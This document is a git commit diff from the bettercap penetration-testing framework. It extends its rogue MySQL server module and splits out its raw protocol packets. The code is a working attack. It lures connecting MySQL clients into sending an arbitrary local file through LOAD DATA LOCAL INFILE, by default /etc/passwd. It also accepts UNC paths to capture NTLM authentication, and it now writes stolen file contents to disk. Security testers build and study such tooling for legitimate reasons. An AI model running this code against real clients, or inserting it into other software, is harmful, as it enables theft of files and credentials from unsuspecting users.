new: mysql.server.outfile to save INFILE buffers to a file (also fixes #342)

This commit is contained in:
evilsocket 2018-09-22 15:36:52 +02:00
parent 431215b053
commit 197cff7108
2 changed files with 102 additions and 74 deletions

View file

@ -4,10 +4,13 @@ import (
"bufio" "bufio"
"bytes" "bytes"
"fmt" "fmt"
"io/ioutil"
"net" "net"
"strings" "strings"
"github.com/bettercap/bettercap/core"
"github.com/bettercap/bettercap/log" "github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session" "github.com/bettercap/bettercap/session"
) )
@ -16,6 +19,7 @@ type MySQLServer struct {
address *net.TCPAddr address *net.TCPAddr
listener *net.TCPListener listener *net.TCPListener
infile string infile string
outfile string
} }
func NewMySQLServer(s *session.Session) *MySQLServer { func NewMySQLServer(s *session.Session) *MySQLServer {
@ -23,11 +27,17 @@ func NewMySQLServer(s *session.Session) *MySQLServer {
mysql := &MySQLServer{ mysql := &MySQLServer{
SessionModule: session.NewSessionModule("mysql.server", s), SessionModule: session.NewSessionModule("mysql.server", s),
} }
mysql.AddParam(session.NewStringParameter("mysql.server.infile", mysql.AddParam(session.NewStringParameter("mysql.server.infile",
"/etc/passwd", "/etc/passwd",
"", "",
"File you want to read. UNC paths are also supported.")) "File you want to read. UNC paths are also supported."))
mysql.AddParam(session.NewStringParameter("mysql.server.outfile",
"",
"",
"If filled, the INFILE buffer will be saved to this path instead of being logged."))
mysql.AddParam(session.NewStringParameter("mysql.server.address", mysql.AddParam(session.NewStringParameter("mysql.server.address",
session.ParamIfaceAddress, session.ParamIfaceAddress,
session.IPv4Validator, session.IPv4Validator,
@ -73,6 +83,8 @@ func (mysql *MySQLServer) Configure() error {
return session.ErrAlreadyStarted return session.ErrAlreadyStarted
} else if err, mysql.infile = mysql.StringParam("mysql.server.infile"); err != nil { } else if err, mysql.infile = mysql.StringParam("mysql.server.infile"); err != nil {
return err return err
} else if err, mysql.outfile = mysql.StringParam("mysql.server.outfile"); err != nil {
return err
} else if err, address = mysql.StringParam("mysql.server.address"); err != nil { } else if err, address = mysql.StringParam("mysql.server.address"); err != nil {
return err return err
} else if err, port = mysql.IntParam("mysql.server.port"); err != nil { } else if err, port = mysql.IntParam("mysql.server.port"); err != nil {
@ -91,92 +103,75 @@ func (mysql *MySQLServer) Start() error {
} }
return mysql.SetRunning(true, func() { return mysql.SetRunning(true, func() {
log.Info("MySQL server starting on IP %s", mysql.address) log.Info("[%s] server starting on address %s", core.Green("mysql.server"), mysql.address)
MySQLGreeting := []byte{
0x5b, 0x00, 0x00, 0x00, 0x0a, 0x35, 0x2e, 0x36,
0x2e, 0x32, 0x38, 0x2d, 0x30, 0x75, 0x62, 0x75,
0x6e, 0x74, 0x75, 0x30, 0x2e, 0x31, 0x34, 0x2e,
0x30, 0x34, 0x2e, 0x31, 0x00, 0x2d, 0x00, 0x00,
0x00, 0x40, 0x3f, 0x59, 0x26, 0x4b, 0x2b, 0x34,
0x60, 0x00, 0xff, 0xf7, 0x08, 0x02, 0x00, 0x7f,
0x80, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x68, 0x69, 0x59, 0x5f,
0x52, 0x5f, 0x63, 0x55, 0x60, 0x64, 0x53, 0x52,
0x00, 0x6d, 0x79, 0x73, 0x71, 0x6c, 0x5f, 0x6e,
0x61, 0x74, 0x69, 0x76, 0x65, 0x5f, 0x70, 0x61,
0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x00,
}
FirstResponseOK := []byte{
0x07, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02,
0x00, 0x00, 0x00,
}
FileNameLength := byte(len(mysql.infile) + 1)
GetFile := []byte{
FileNameLength, 0x00, 0x00, 0x01, 0xfb,
}
GetFile = append(GetFile, mysql.infile...)
SecondResponseOK := []byte{
0x07, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x02,
0x00, 0x00, 0x00,
}
for mysql.Running() { for mysql.Running() {
if conn, err := mysql.listener.AcceptTCP(); err != nil {
// tcp listener log.Warning("[%s] error while accepting tcp connection: %s", core.Green("mysql.server"), err)
conn, err := mysql.listener.AcceptTCP()
if err != nil {
log.Warning("Error while accepting TCP connection: %s", err)
continue continue
} } else {
defer conn.Close()
// send the mysql greeting // TODO: include binary support and files > 16kb
conn.Write([]byte(MySQLGreeting)) clientAddress := strings.Split(conn.RemoteAddr().String(), ":")[0]
readBuffer := make([]byte, 16384)
reader := bufio.NewReader(conn)
read := 0
// read the incoming responses and retrieve infile log.Info("[%s] connection from %s", core.Green("mysql.server"), clientAddress)
// TODO: include binary support and files > 16kb
b := make([]byte, 16384)
bufio.NewReader(conn).Read(b)
// parse client capabilities and validate connection if _, err := conn.Write(packets.MySQLGreeting); err != nil {
// TODO: parse mysql connections properly and log.Warning("[%s] error while writing server greeting: %s", core.Green("mysql.server"), err)
// display additional connection attributes continue
clientCapabilities := fmt.Sprintf("%08b", (int(uint32(b[4]) | uint32(b[5])<<8))) } else if read, err = reader.Read(readBuffer); err != nil {
if len(clientCapabilities) == 16 { log.Warning("[%s] error while reading client message: %s", core.Green("mysql.server"), err)
remoteAddress := strings.Split(conn.RemoteAddr().String(), ":")[0]
log.Info("MySQL connection from: %s", remoteAddress)
loadData := string(clientCapabilities[8])
log.Info("Can Use LOAD DATA LOCAL: %s", loadData)
username := bytes.Split(b[36:], []byte{0})[0]
log.Info("MySQL Login Request Username: %s", username)
// send initial responseOK
conn.Write([]byte(FirstResponseOK))
bufio.NewReader(conn).Read(b)
conn.Write([]byte(GetFile))
infileLen, err := bufio.NewReader(conn).Read(b)
if err != nil {
log.Warning("Error while reading buffer: %s", err)
continue continue
} }
// check if the infile is an UNC path // parse client capabilities and validate connection
if strings.HasPrefix(mysql.infile, "\\") { // TODO: parse mysql connections properly and
log.Info("NTLM from '%s' relayed to %s", remoteAddress, mysql.infile) // display additional connection attributes
} else { capabilities := fmt.Sprintf("%08b", (int(uint32(readBuffer[4]) | uint32(readBuffer[5])<<8)))
// print the infile content, ignore mysql protocol headers loadData := string(capabilities[8])
// TODO: include binary support and output to a file username := string(bytes.Split(readBuffer[36:], []byte{0})[0])
log.Info("Retrieving '%s' from %s (%d bytes)\n%s", mysql.infile, remoteAddress, infileLen-9, string(b)[4:infileLen-4])
log.Info("[%s] can use LOAD DATA LOCAL: %s", core.Green("mysql.server"), loadData)
log.Info("[%s] login request username: %s", core.Green("mysql.server"), core.Bold(username))
if _, err := conn.Write(packets.MySQLFirstResponseOK); err != nil {
log.Warning("[%s] error while writing server first response ok: %s", core.Green("mysql.server"), err)
continue
} else if _, err := reader.Read(readBuffer); err != nil {
log.Warning("[%s] error while reading client message: %s", core.Green("mysql.server"), err)
continue
} else if _, err := conn.Write(packets.MySQLGetFile(mysql.infile)); err != nil {
log.Warning("[%s] error while writing server get file request: %s", core.Green("mysql.server"), err)
continue
} else if read, err = reader.Read(readBuffer); err != nil {
log.Warning("[%s] error while readind buffer: %s", core.Green("mysql.server"), err)
continue
} }
// send additional response if strings.HasPrefix(mysql.infile, "\\") {
conn.Write([]byte(SecondResponseOK)) log.Info("[%s] NTLM from '%s' relayed to %s", core.Green("mysql.server"), clientAddress, mysql.infile)
bufio.NewReader(conn).Read(b) } else if fileSize := read - 9; fileSize < 4 {
log.Warning("[%s] unpexpected buffer size %d", core.Green("mysql.server"), read)
} else {
log.Info("[%s] read file ( %s ) is %d bytes", core.Green("mysql.server"), mysql.infile, fileSize)
fileData := readBuffer[4 : read-4]
if mysql.outfile == "" {
log.Info("\n%s", string(fileData))
} else {
log.Info("[%s] saving to %s ...", core.Green("mysql.server"), mysql.outfile)
if err := ioutil.WriteFile(mysql.outfile, fileData, 0755); err != nil {
log.Warning("[%s] error while saving the file: %s", core.Green("mysql.server"), err)
}
}
}
conn.Write(packets.MySQLSecondResponseOK)
} }
defer conn.Close()
} }
}) })
} }

33
packets/mysql.go Normal file
View file

@ -0,0 +1,33 @@
package packets
var (
MySQLGreeting = []byte{
0x5b, 0x00, 0x00, 0x00, 0x0a, 0x35, 0x2e, 0x36,
0x2e, 0x32, 0x38, 0x2d, 0x30, 0x75, 0x62, 0x75,
0x6e, 0x74, 0x75, 0x30, 0x2e, 0x31, 0x34, 0x2e,
0x30, 0x34, 0x2e, 0x31, 0x00, 0x2d, 0x00, 0x00,
0x00, 0x40, 0x3f, 0x59, 0x26, 0x4b, 0x2b, 0x34,
0x60, 0x00, 0xff, 0xf7, 0x08, 0x02, 0x00, 0x7f,
0x80, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x68, 0x69, 0x59, 0x5f,
0x52, 0x5f, 0x63, 0x55, 0x60, 0x64, 0x53, 0x52,
0x00, 0x6d, 0x79, 0x73, 0x71, 0x6c, 0x5f, 0x6e,
0x61, 0x74, 0x69, 0x76, 0x65, 0x5f, 0x70, 0x61,
0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x00,
}
MySQLFirstResponseOK = []byte{
0x07, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02,
0x00, 0x00, 0x00,
}
MySQLSecondResponseOK = []byte{
0x07, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x02,
0x00, 0x00, 0x00,
}
)
func MySQLGetFile(infile string) []byte {
return append([]byte{
byte(len(infile) + 1),
0x00, 0x00, 0x01, 0xfb,
}, infile...)
}